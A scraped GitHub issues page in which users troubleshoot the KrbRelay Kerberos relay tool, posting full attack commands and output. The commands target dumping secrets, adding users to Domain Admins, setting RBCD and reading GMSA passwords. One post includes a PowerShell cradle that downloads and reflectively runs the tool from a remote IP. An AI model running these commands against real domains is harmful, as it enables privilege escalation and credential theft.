cube0x0 / krbrelay Goto Github PK

I am trying to dump passwords on a remote machine with option -secret but receiving a "Could not open service handle, wrong name?" on Windows Server 2016 1607 (source and destination). Any idea? ;-)

The SMB session obtained is unprivileged and seems to come from the user that is running the command instead of the targeted one in session 4.

.\KrbRelay.exe -spn cifs/srv01.lab.local -session 4 -clsid 0289a7c5-91bf-4547-81ae-fec91a89dec5 -secrets
[*] Relaying context: lab\da01
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAB5xV/ci7Pv5WVPMzxQBfngAkwAAJAD//+n36aR6q52FyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing cross-session authentication
[*] Using CLSID: 0289a7c5-91bf-4547-81ae-fec91a89dec5
[*] Spawning in session 4
[*] apReq: 608206ed06092a864886f71201020201006e8206dc308206d8a003020105a10302010ea20703050020000000a38204f6618204f2308204eea003020105a1121b104f46464943452e5741442e4c4f43414ca22d302ba003020102a12430221b04636966731b1a7761642d77656230312e6f66666963652e7761642e6c6f63616ca38204a23082049ea003020112a103020101a28204900482048c0a156e4d228e655ef499c6d55151dfbcb62816ea97744b1381549ee19074f950d206ef237538ef274bbc219b4f9b08600b02849f571c9e18c66f191725ab054ebdf4f5cf71c59d2494bd1e7c1b57aacc8522e3467cab9ceedc85647997e08af14a304525e7ea1bd0c17e3290f65815fd022dd58f7a4fdd239b6d88155e0cfa84d43cf803587c6724cd2f697141374ee82f6b3daa62d7c0b7938cc9dea8f941a858b1b208f64887e2cdeeed89dfda8307eca315487b03aa940567b9bd446767fb36c9a7a30e04f4883d766a009572b9b16e724a91b248e3669af1c9e952ee2f7d4ac19d16ba78b9935a8d3f91c8ffc56d5155f2f377ad0b7a14563aa2aaf8cf0f1d6a7f8a95f7dec628378be734c9170f0e1b6ae8d5f8bc625e00070299b9de3e1df5a404d35db9e5bde83f1c1da0bba2de41347cd60c8f4f3413f13009a1f3a60f41d1b656949bff3af45e545ae35c4df92771970b943d33052b9ca9306b94559f893ccaa8619b64a184d630cda124970239e897429af7b83711812d80dd18221aa0a54b377ca1fe36c5fd0df4b5231fd726dfc20714c49bb7f9ceb56e97a7b455e3adb3890ae498c045cc2389f9b121e7d7370b164e5d623dc0e4b29b3c59558a05eb8240a1b94cbdbdeae0862bcea9c310e8df8334cb14a965bc6f29824596ac236c8273e8f5f1f183622b5da16e9be2588f3f78c905da2976b50f0fb8b8ffae1e93d271e0184144214d86e8d12fc948d8c7327c820e41b41439becb784d1cdcb74c3e1a18c1521908728b28ba82703286da6dc551ed748b10cb1e30ee2b149277f189b395f85bae27b98446995ca7b31615ed2059dab54270a246fac72f1558fc86fa8ed7f1afbc75751949fefdcf83b137fb0449b40e375fd154e8756abfa26e7b4bbb435d0d1d141cb1628ae50911f2eb0c095888ffb57f927e289e036fff68a93420bc23fd137c514fa04624a9f256019baca362b99055e7908d4e00f05e7a73ef11b5c3da1b1102f3b32b851087a8c862e9a5d2685014a38d2d0649818254c66cd82c93a78cf3d85bb17324142b753daa2d4b94864c880ea78f01152148f07f826bb8b307c4d06006d44c43aefdf3a7c903eadf56fd44515ef264e2bd74d14c4d9c737a96b28ee889d244aebcb5f99193a7475f6d7430679e3ec979ff86e9c3eac457a186b2d22c778da207d0f86ed69abeb3c01152cb07b96dbfb3a205f0763fa5ad2f952bfa1b31f2e974984e91a97e0fcda5f8046512d7d9c790d0101f3d44ecef0764b0d2d04566843a2f664adf3a5452749be160baf66f49f4b789e180c225a2bc6d011a8793383c7c14dad25bd9c553c2cd93f965af4ca581a213e8dd62a5be18aba1ebf278a0c1e08baa10bffe6cbc3859f84dea2760a7260eb1d8e2c769293e6c821fa5f3ef91761df07dd6858559330cc2fbdf8a4ebdca3fb00e58cf3df7f1f93d3dbfca69d2d4eece65941068937f2dd821ad31e4b2f9e3097425d38d03fda2f1f1a5e97b17ba29bb3a22e496891b7296ca0a45adca347806d21a9a3021324200a25a4c5d63630f2e31ccae99c69103fbd5ddad61ea126465e204dda4d9595bfd5602d0f34beb1d1689ad2e6eef1e6034ca76d16d7e57cfd8b63e3d1b2c1ec7f1330b8fa48201c7308201c3a003020112a28201ba048201b63ad45fb236eabfb80492aebc0a75c84516893e58c921641651f7b988f8ec36ae2caac2e3e0798459a1379bd491b83b371a4b73a87338fbaf773dcd05aca88ad7307ef08753793909794a50705bf96e2c086f785aaeca4df0e1941cbb63c41fc43172a735c40412e4c3ad3727d5b815c72370e800f928c4e69f32edd92e9e19be29a246524c2f92dd80a39467af073644cb5ad61b1913f5548d23740a56e6d62d1f4925257f660b204dd6edb1013726db4a474465dba4f280277862ffbd7e3cd2f8eb3d7830ae88d55d5cec5c514354cdb13875f61d2c634148462fb9125e2f42aca79f81e3160caa46ac285aeff53b245fd83e639f40f350ad8752789fd7b9160b041c65ead6b866a58287c68b883ce4d5cc3fb7d58049733c690e9c293a2a3d07fff5dd0e5ed61dd1853a51efd5298cf55686e70c38d4d233b82c3de7c9d828026206a477dda85d382ff1e9c4f740899da0c90e13263b891df9f47d5bc3593ae1baa74e6065cce772198c71cd3777ca7aedeb69c0933c0fd13af01065251737611d384ba26136e41921a37be4d15521bb8a97ad30ad25580f4dac51a5c8cdb33b90dbbdbc72505f88ee5b9a1c7d3fefdb2f625b2bde
[*] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e968a45b9c6b880b9f734e7301d1d12279765fa3379fe3fd9e5501209e88f9da347ec78a24421eda252cc0ed73f7eccbb27fd7eceb8c2b7767b0227695644a785d00e96bf3def2644944f5582fe14f54f432cfaca5da67d6812c4cc8d8caf08b8c2160e874ddb79b511c3bdef9030
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5a3058a003020105a10302010fa24c304aa003020112a2430441d51192b4623888be0e012bfcacf1345d6a6cab5979683329622f13114500bd793a4239813e9753835b45b1e505832416282cfa8a7eb89e96d21a2f93fef7a9f03f
[+] SMB session established
[-] Could not open service handle, wrong name?
[-] Could not start remoteregistry

Hi. I look forward to using your tool but at the moment I am still trying to learn how to use it. I find your instructions a bit lacking so I have to try things instead. At the moment I am trying to add a domain user to a domain group but it either does not work or I get an error.

I am logged in as domainuser1 (low priv.) on a Windows 10 machine. I also have a session as domainadmin1 (privileged) on the same machine. First I list the sessions. This works.

I then try to get an LDAP shell as domainadmin1 (session 1) on my domain controller running Server 2019. This also works.

Using the LDAP command "add-groupmember "domain admins" domainuser1" I get no error but domainuser1 is also not added to the group Domain Admins. I verify this using Active Directory Users and Computers on the DC.

Finally I try your command "-add-groupmember" but that fails with "LDAP_UNWILLING_TO_PERFORM" and again, domainuser1 is not added to the group Domain Admins.

DC: WIN-1TCHOPTDEJ5 (Win2016 version [10.0.14393])
Computer in AD: PC-01 (Win10 version [10.0.17763.316])

Reproduce Steps:

1. a Domain User test1 logged on PC-01
2. if I dont add any attack args like KrbRelay.exe -spn ldap/WIN-1TCHOPTDEJ5 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8, it will return following result and LDAP connection established.

[*] Relaying context: \PC-01$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Users\test1\Desktop\kerberosRelay\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAA45MGb9Q/YaElYFYWcVCgXAkwAADgS//9/pJM3dDPQUCIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[*] apReq: 6082065106092a864886f71201020201006e8206403082063ca003020105a10302010ea20703050020000000a382047c6182047830820474a003020105a10e1b0c54454d5041442e4c4f43414ca2223020a003020102a11930171b046c6461701b0f57494e2d315443484f505444454a35a382043730820433a003020112a103020103a28204250482042182f8cba4a66941935594695408ee242029901f1a11fd75176abfad88d9167bcafd50f2c1a22ecb1d85aab4c8cca92309c91e3c7a46cad43ee0d8bd7326a5a23e8bb73eda3920367cb2c60707ead568eb4d3f26ef5efe889c5da30df9dd7e17bb3fc0f6210044e921c8fd4e507346a17843b137c0e2aca07d79c82dac7e9293350207c9a0e54c43cca56e244ce134fe2894cc1e3374551dd828b8a448b4f3fd878d2ddbbce1017b7ee6a1604b2fead393cefbae4833cd8971096080adde3eba249461fce0e678d600dfd8c7f16735b6d78fb654150e443e4b982066a1bbf87237edd94756fb1127065f794affc96cbff1253138468131340b86afb6814e084fdbf38521d6293acbf89f43c34cfcaeed4e6eea9887f51bd369ea38a6db0365c362f673ec7392775f999a22d55a1449a09bb94ad49175d09b6e23b809176b7118df7b815a1631982f8805da62bee193fa550fdbf80f8740f2880c6abe66933a6e665701592a24484a84037a004127b3abf58d67d700e363eddf3dc7dbee6242c97076ae3900675db525ef16532cfd68f33fcfba467d6bef1bcc13692b795cd0a20bb40d6c753985fafe247fbd4b9792ab1d77f5b13be441a83f4800556c94f231a191c853e834d5de247593b1c68df684283b837c14edec054a2cb92c38bd8a0d485d8cfd171e66c23b2a34c9cc64b21b4cd8edefa5c654e983e6a009c4ba669888410c5b356f43dc11c67c5a141f4ae73412e76d35b4ee3dd3f489652bb5d1c3b308d1069ab34acede182fe80ee50fabf91a903c7c7d7bf9b41d5eef9a763f466c6a825f1efa7f4429d227daf29990a488d89042186f84002d0b8deb2dfebe688813845842ba4c6290d47aa9e2838778e24d90c69175f35c2eebf900e2e41397b3ee382da01548c3aecbc2d846d5472aef674d12da329370302932c446a64603a96a151d0c19197143ddc74b53057360ce0cd0dbb8be003efdd25f72f68d529790a26954771fe0d4c7be0b601a078442816834070a925b50a5515fd468f3e73f3db7934c2ae31a0a12ba0fe5f81f9acf4c6971d18e09a1c75115c33d797398c4ca3d8c1d960aa5d7c417cb8f95940d4ec90baf818b2d273198c92069c3e0d01eb3818d97f1f9422eb226a4aee190a094351bc84491efd0c80ac99703a5796d4283360c476e7690a84ea2389ca7900d693bc090505611e29e16cae6f44fa320a1d76d3092636cebf5c3d0fbade5479a169bcdd897cbaad86e7d7f45b8f57acee22006f8a0f01bee5c694fe410c6dd8de82a07613b47ffe3a31bc2d75f61a04bd1b43e2dfeb416c415d689f0ac8fc01d0bf021ce3baf4d09c391f2aaf5dceec8866f8c8f0e952599d4ecc2be505f5bb1b0ba7890676be257eec7e98625aaa94ba66cab59e082a043a704e47388a76ea64b7c6c6cdf7727d3426a0f7889c918832ec13262d2a0b0493cc9b0b3c94db7359cd559a2517e0bd97d606814100c1209364695a48201a5308201a1a003020112a2820198048201943e8cb71f63c77cb686fa20725cb3ba7833ef9420d5592d166f46469a7e3f3883d8eef20f56c13f3a5a704a5c632ec7b6c56f9b6a403d725ba0fbcd752ed56e0e1a70ebd5d205e53e05dab69fc9dfcfef70c47d872215d033edf898ef9a8331d10b3edef37f1546b61187c12f4dccaadd89c85fa338abfcceacc85695feee28f6936cd53519fd6d6462ed3dc9c311f53d2aa00011749e512e2474b332a2f0254ec3ec0143432ab2a10cb3c74dd55d3af3015371c5eb898b3068b76812887f29c9f341e4d93255af42cc37b093555d4013327e6efd5ce36abf6ea1c56f69350ff98305dd8c006b39a6ebd9e31bf97bf8ef7d30e862041ee1f8d64b6bed93f86d98de863d362d0ebee1a40672d31908ae1aac0ce908b3fcf139ffcdbf98f1bb2fbe71a77bfd09efebde96f9e5bccf3f55725a888434c251a608bbfa721db5da86e30a78a81692dec1d273914c88824a080705dcbe0b2de6e19b32282da721888fd431c99f72e83ef91ad63a8eb142b5120dd0ab9871321ff1ceffb5f9babd59b0a6617019045574d4cbc1b4cd1eb74cde81e86370fb
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8187308184a003020105a10302010fa2783076a003020112a26f046d3427170628dc24cda41583fa8d10b65257d34186272388da6e351ae3d15f789ad0c3f395971f810a68ce47377c14370a37cf3c4ba866b516233f9c90929a59296b1f4c4775bd2b7d07cd5f55d310f01ee096da0b0d773137f4b28d452946d442a557c928eacd9d5fb374bec720
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a24404426a6f83f6c4dfad71a59b06b061aa24e2500665954f53bc2c93912062c36303158612466cb4e98aa707a303a5ac1058385d6c65a349054eda2a05d96a1b3083c5a059
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established

3. if I add any attack args like KrbRelay.exe -spn ldap/WIN-1TCHOPTDEJ5 -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -console to show a LDAP interactive prompt, it will return following result , any other attack argument will always return the bind error 49:

[*] Relaying context: \PC-01$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Users\test1\Desktop\kerberosRelay\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAACzUo56WtQ8KGUjhSm/iGlmAngAACQH//9u3mDSDugeTiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[*] apReq: 05000b0710000000db00330002000000d016d0160000000003000000000001004301000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000010001004301000000000000c0000000000000460000000033057171babe37498319b5dbef9ccc3601000000020001004301000000000000c000000000000046000000002c1cb76c129840450300000000000000010000000a050000000000004e544c4d535350000100000097b208e2060006002d00000005000500280000000a0063450000000f50432d303154454d504144
[*] bind: 49
[*] ldap_get_option: LDAP_INVALID_CREDENTIALS
[-] Ldap failed

Is there anything I missed?

Hi, I have posted a writeup on how to perform the attack using ADCS.

You may want to update the README, "Supported Protocols and Features" section, to add support for "ADCS":

• HTTP
  • ADCS
  • EWS

Hello,

thank you for the tool.
Any ideas on why this is happening? I am assuming that I might not have write access in the LDAP. Is there a good way to verify this?

.\KrbRelay.exe -spn ldap/dc01.contoso.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-284291298-3657489341-3502550540-10634 -port 10
[] Relaying context: contoso.local \WINAUDIT$
[] Rewriting function table
[] Rewriting PEB
[] GetModuleFileName: System
[] Init com server
[] GetModuleFileName: C:\Users\sssss\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAD3dQpCB2pr40KDWEpSdF+VAtgAAKgX///75ckblajshiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[] Forcing SYSTEM authentication
[] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[] apReq: 608206f006092a864886f71201020201006e8206df308206dba003020105a10302010ea20703050020000000a382050d6182050930820505a003020105a1101b0e414541544c414e5449434f2e5054a2243022a003020102a11b30191b046c6461701b116d672e616561746c616e7469636f2e7074a38204c4308204c0a003020112a103020106a28204b2048204aecb4959ffc5da0b0bffa456689698c921c0621cf49f7efc606f15f836f12ee5338e518b59d61d8f3bf0062a4f4c4b8a0755e732d8fefa677d9ac13828f5d2a2b6845e740b0605075741fd449d9010de4aabfde45b374af27d380fc75f9bb815d91f02b303c0e8128867d4ff29a20febb98fb0d4d5dbd54ff8733451cbb2ea9c12cd3da48233a7e92776c74268a94b97fbf0d5194f7956aef54b0480072f46ad535050d337d45bde7685ddd3a0c59496590d147a8ed94ee997a4fb32aab3b1283e97a5c253b1ea32a45daed0202e74d3752d5312f40a2b85f220580170b554889b2d7b695b6016fa035e98595eef20a1695b5a26503e09619f5ddc54e13e2d0b2425674613b0702cb5a1a43705668d64885d27d9f1a52de6374140da2e21dde38b159c6881a99f0e3bd4e1751646e190494af04c5952c5c202c3d21ba5ce98f60705e459f505b15dbc9390f13a1227970670ac871e98c2c3d5443a31a92dc686a46c99e7af605c7f260bc152f5c1edf27db1a7f6645f12b0b301fc655c1851e7d00a506929db990db00a6ca5bc4595d3f8ca449a11ca8574864ec0d8dd4c4217762df1d40429ef900d04022f84b4790e80bded6204d3b49f2830b558e32fdad7e1e9213f6e6a743bb012bb347fcd21121d28de10255650ecc03e8f67ac804485d961a38fa2f5663d473c9aecfb7b14f345f130803777db4d5a4e300c731ecb4502d898b71ea1f0fb13304fb31174d4126aef72778765754e0f745a07ef513f2fc47cb0b4f9ece2d47fbb0a8020b82f22e2ac30fa7780ba15228096ab7b645f48a310bf0ce4b199d40511be56c44b3f66983d4e4dabdea30456af3dd02b7d306b3e214f0c10c16a2de3b3f71876174dbb1dbe2fb686a352056d40c60e4e0bba1bbecf380b9eb9e73d1b2cfaeabbc6b27af8c06c1dd469920271449102e6fbee8771e74f7ad5e470feb14a5fccd03958bac3f242ff2ac921db19d3cf102daab810fb2322777e7df4b3a44ec093f3b8d1bd742d659d84533095230be8f2664c7d82248cec75423e1c19adb0825caf536d2dc3991a29ea42b2974102356cafc0acf5bbe59be2d9882a6ce23c358bc054f51d2d823e70cab476552696fd981d7286edd32536d56a87635c2b2a644ce12428585581edf2e8cb575e4c3ae8ae10e2d7a1456e164654f1e6794b6035e80a498ef060add0e56d2ad5c942a58f4fa013eecdead6ad594e38ed629073f660a4dab1b4b6bb571976ce533de075a70169e66890b95e9fccee78dccd4f7d55e0dbd673fee7220fdf3c081e880297ac5988f364874bce61102002dff83892bbd61576d8c71425ddab3d415c0c13ea675cf4c2f063f8881e54719b4a2f55392c8794d71b16aa75510c4acb3eecd91d8543c52289178ce968068315fdaf4728a997fa9d0807da8819f38670e6cce60a65d7dda1c3b7c268efecd4627e6258a10e6066fb1c199f6dfa60b4511dc348cfe39b8f5b6d765ae0deadff99a3745260d92a62c53d4434685e946805f2d66134539f311dae23412aeeecce095113fe858d3c0cdf45336e6c23ece97d5689bdf6aab8201ea6c58bc7a4b16ee98591c9daa238bbeed8582861afa7ddc577818f306d0a5e59caaa6cf5709f496c10f50805558616d70164613919b3ed3453af126d1a748b0fea3e31e9403862f3f99b3da8ae83dae68ca48201b3308201afa003020112a28201a6048201a23c787a60475df35964f1778c58eaaa2d0c6eb6bdbdf6254b38554ed62c2105f48f6b49cfadc1b32386194567054834c06b2c35e502db2e409abc8b5b45c80a8b964a9a9e1f2de281f764e16a70c0413edf7d7b0f391e4119a0f445e3fb808c84b326c98269dd8cb594de0b8063eee3d7b8d96e7f07245bbe3cc8fb60af54c54105b7d6c7a7b9a5be6974b27deeec0cee09f36602a10430b10fd362a365aae31e57a50ce4c06d7b20efde33b225b481139a113b2587ea5bdce3fe75b4c26ca0b922c1035614b0248be1f33758ff1cb0b77eaeb59365c854f8e34fd9ada3c41a0b1166a0e4f980d96aa17c74b556e51c959c32d8d228c562628a0965b7d1333a4de348adeb916548d6a898cc1d477542e0e4efb809f3e6bafefb49ac2e18312815e03baf261a82fa811ae7f7efb2c2eb2654033f9120a32390cb24a1de1001d8a75fbecf7b0bd3ed8ac543aa9b2c051dc18a6298a39fec530f29998ac17d9ff793c3c7640b7eb5bbc2593b270dea5c8ac323289f41567d36a686cd656204038c085caea19c39445cf06f8f2fe413685a852ea6f3dc19cef53d7a10eb59da6839e33e29
[] bind: 0
[] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[] apRep1: 6f8188308185a003020105a10302010fa2793077a003020112a270046e6cf3730db030876f6e2472891bbc992fcc4796ebbc28224978ad0145e929d0dc563141c04d1e290745a632b17bcab04c51d4bb1f9e0cb1c3dae1a921780b6f952ac161a1842d963fb3a3ebb3965aeb4493bbc593bc1bda8e5ea21da1f23e13d38ca5e1d938eca15dbc74b30c1e23
[] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[] fContextReq: Delegate, MutualAuth, ReplayDetect, SequenceDetect, UseDceStyle, Connection
[] apRep2: 6f5b3059a003020105a10302010fa24d304ba003020112a2440442b8d2e1896d7d053a62a11fbf07f85443aef27316854370842150fcc4778d4072c9b9f00e01cc22192792e63703ea9a4db300e4a2ba9a5c80699e6d1f88efffcc66a1
[] bind: 0
[] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[] ldap_modify: LDAP_OPERATIONS_ERROR

While being able to successfully run KrbRelay.exe in my lab, it seems I cannot get a proper apReq when running the very same executable reflectively as in:

function KrbRelay{$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.49.76/KrbRelay.exe') 
$assem = [System.Reflection.Assembly]::Load($data) 
[KrbRelay.Program]::main([string[]]$args)};KrbRelay -spn ldap/dc01.prod.domain.com -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -session 2 -console

...giving me the output as follows:

[*] Relaying context: PROD\user
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAAAjgIfpxuBQndWJ0pjWjfYvA7AAADwN//8sy3o0GiUwWyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing cross-session authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8
[*] Spawning in session 2
[-] Recieved invalid apReq, exploit will fail
05000b0710000000da00320002000000d016d0160000000003000000000001004301000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000010001004301000000000000c0000000000000460000000033057171babe37498319b5dbef9ccc3601000000020001004301000000000000c000000000000046000000002c1cb76c129840450300000000000000010000000a050000000000004e544c4d535350000100000097b208e2040004002e00000006000600280000000a00ba470000000f434c49454e5450524f44

Is there perhaps any reason for this inconsistency that I might be missing?

I am trying to read the password of a GMSA account. In this case the password is either not found or I am unable to read it since I cannot connect to LDAP over TLS. I can read the password just fine using for example the tool BloodyAD and the same domain admin account (session 1) I am using here.

If I connect without TLS the connection is successful but the password is not found. That is how I understand the output anyway but maybe that is not correct?

If I instead try to connect using TLS, as shown in your examples, the connections fails.

I am aware that in order to use TLS, certificates must be configured. To show that that is the case I use nmap on port 389 and 636.

I am also aware that LDAP signing and/or chanel binding can cause issues so I show that those are not enabled using the tool LdapRelayScan.

What is the problem here?

Hello, I was getting the message Recieved invalid apReq, exploit will fail and read issue (#1) where you suggested to check environment and parameters. Could you point what should we look at?

Info and steps to reproduce

• DC01: Windows Server 2019
• PC01: Windows 10
• Attacker PC: Windows 10

A user is logged on PC01 (session checked query session):

PS > query session
 NOMBRE DE SESIÓN  NOMBRE DE USUARIO        ID  ESTADO    TIPO   DISPOSITIVO
 services                                    0  Desc
>console           user1                  1  Activo

Here is the log:

PS C:\Users\attacker\Desktop> .\KrbRelay.exe -spn cifs/dc01.lab.local -session 1 -clsid 354ff91b-5e49-4bdc-a8e6-1cb6c6877182 -console
[*] Relaying context: DESKTOP-GJKLN17\attacker
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Users\attacker\Desktop\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAACgd0eTYtluhPpC9CsKnCTbAgQAAKAQ//+ktx2fV11FtiIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[*] Forcing cross-session authentication
[*] Using CLSID: 354ff91b-5e49-4bdc-a8e6-1cb6c6877182
[*] Spawning in session 1
[-] Recieved invalid apReq, exploit will fail
05000b0710000000e800400002000000d016d0160000000003000000000001004301000000000000c00000000000004600000000045d888aeb1cc9119fe808002b10486002000000010001004301000000000000c0000000000000460000000033057171babe37498319b5dbef9ccc3601000000020001004301000000000000c000000000000046000000002c1cb76c129840450300000000000000010000000a050000000000004e544c4d535350000100000097b208e209000900370000000f000f00280000000a00614a0000000f4445534b544f502d474a384b4d3437574f524b47524f5550

Hope I am not missing anything

Thanks!

WIndows 10 21H1

KrbRelay.exe -spn cifs/dc1.dunder.local -session 2 -clsid 0289a7c5-91bf-4547-81ae-fec91a89dec5 -secrets
[-] WARNING, user's session is not active
[] Relaying context: DUNDER\administrator
[] Rewriting function table
[] Rewriting PEB
[] GetModuleFileName: System
[] Init com server
[] GetModuleFileName: c:\Tools\KrbRelay.exe
[*] Register com server
objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGgQIAAAAAAADb8cNatMyOMDaCuZf4PPz4AswAALwj//+DFoH/URXSiyIADAAHADEAMgA3AC4AMAAuADAALgAxAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:

[] Forcing cross-session authentication
[] Using CLSID: 0289a7c5-91bf-4547-81ae-fec91a89dec5
[] Spawning in session 2
[] apReq: 6082066806092a864886f71201020201006e82065730820653a003020105a10302010ea20703050020000000a382048f6182048b30820487a003020105a10e1b0c44554e4445522e4c4f43414ca2233021a003020102a11a30181b04636966731b106463312e64756e6465722e6c6f63616ca382044930820445a003020112a103020108a282043704820433124bd2df68f672cb9397dc22d18578a52b55f2d7593ab32de9f3d04bb53e4e85dde80293bf6d8052eed9ebd0e6c94652e429245476941a63e1928113cd5a6ac57b7077ce94cb1b5001f896bac7ebe351979cc244c150185cadf9cfb2b7b1c6310e13710655b8004d72d98ad12e1474c5cdfa0bd181df8be5aca5fa35e772e52cc2992ea9e845e6d5797d8fa9f410d3b9b89f13e39f8b0e4ee65a4bc8af5b00754d1a7972bd7c00c2692a0dcb6ca41c426ba1f8ff5205c2e6b0d45b921fe6e932bc33c4d96468b3b4acee2fa18779c9147d4764410f76893bb3fa66f479b30785e629713d3df68bcc9d0a055a731efe15bee36286855f3031a1713e476ac52edbb6608535e96baefa05090af610b9077bfe9cc4f8a5713ee0a8b773ae4f917fc293034d98faec25657cc8be23016e76cd335c107f4eaadab6985882e739f2ec08c4379a242fd19d13af08202e31ca2afd35896fcfe95afec08dde7cdced7a5a7d005d4718c15a525609fa624b99e226b839864fcb45eaf09aa23f3cebaefb833d27bce403e1c9755238e6ab52d9667e0b025137ef545f1b27f7ddaa5ed9d258caaf7224aee76b676bd3c8a6eb8c7ab6084392602202144f67d6e0e2338e878f587de469132da32c49a8c03ffc41dede0364e6efab1e62005033b90437f81b14fcbf98ea793f630b5b856e92c6e39fd1ae3d183ef5b26f09ae804a223d69bba48c228e30697dd0fa6ccc4e16fa85d292e8739c82b45ba438edd7a49a254398146536f8f479769de7056d00c99bf90e892b455f4c85d3f3b5af1eb08988c2c73c99ab628c8dfb537157b8f2b8a42a5ee9e2d089c84db24baf24f1666b72ecd7b36f601e01b1ac98c93fa09e62a12fcdb7ecde0c20c2172275357b22d3c016f26721ca4fc1a6f7646bba765c1abce8f99c44945fba8134cb46c89d7e129c72af863cb41900f760aa9d25c549455fe7a6828c0a6b84f06932eeddd4af95ee8e6f20b8e2d5fc477a00186eb5c7b008898797ea7031facad84c7c7ceb0a4fb55adc5c548e87ef2183834650e65d8df3dbc945fdd01cd296db9393d651869b73669a309d9fe078dcc95357f39b710ef3309a311b1e53f84e814946b0a5818eff393cb349423c6a486bf9423a927e823f492b6cc8d13a12757d5f39370357f0f0eda0ad7b11a419b12edf04b1bd772646d42a25d4340574dd1a4498da0882520ab8fc186609a94165e66127851b19d46df9426820fdce9324fc4a6d3bb94aecc13f5a16c0e9e137247d21ad91ed0e5b1caf67c7ad7b16bf5d79fcb7d63a3da88ceda8bbd91e6078cad8f15c3cc8e0919e10a5859bf8de3a6e33bbb40b4fd1a0989688481c7439a5cf061407eb4f9788f6977c05324e2de7b8e8dd8f935cbceeac50888fdb9e4c4ec724774759117a0d5d56b5e4091318783dc62b757792180e15cbb338bea242bd6233cd4b738d5593101fe1b96d2993ab928cd2cf69c7b7acebe53f328555973fa910d7cac84eef51b78d48799ca9aac3a48201a9308201a5a003020112a282019c04820198ddff883d2424ff75d9d60df2c5877456f0b8a4f32d94046bd49056f985d348aa7d06e1fefdf11d1ae3e5c93156f8213ff5b03b60e7593b9d7965044d58ea08eeb54c896ba62a9140c323e5c3898712d991a7445fdaaea4515c46f9fb9af4ccbcaaa9928d123c56454ec304861f019941357881f05e70d00130913e6b2e8016fce69fb58704c97a9fe267e83d5b405711c453606256919f6d7f2804362b88c1d385780d9ecb14602a362fb826011d4b957ea353021aa65bad2433ddf7709b10740e778ed65ee50efce92b0d4fbce514116863635518867b60cb0cb166043838dc6722c352151535edbff626097a9e004b0fd4d011fde5b4da09a68eafe2c9237840901a3dc39ac8bcbbfe7a346a36301fe4a74837206d17ad66cc4f3e6bcf1750d9f449ac586723e6cef8d00eadf7b9a2e9a41ad23b7cd76c722669c98837e9979c68da45762fdd01dbd1ccbeaad51f474211d3c76aa6f07a49aa546cb6ec5a2ad507414ca94c355d67c8bf119b4211b52c693680a05ee9a699dcdfc62a91a4631d24a5ab958